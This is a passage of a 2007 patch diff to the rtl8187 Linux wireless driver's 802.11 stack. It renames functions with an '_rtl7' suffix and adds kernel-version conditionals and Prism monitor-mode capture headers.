-extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-07-13 01:46:05.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-07-13 01:46:05.000000000 +0200 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +253,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +479,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +502,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +547,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +639,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +649,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int 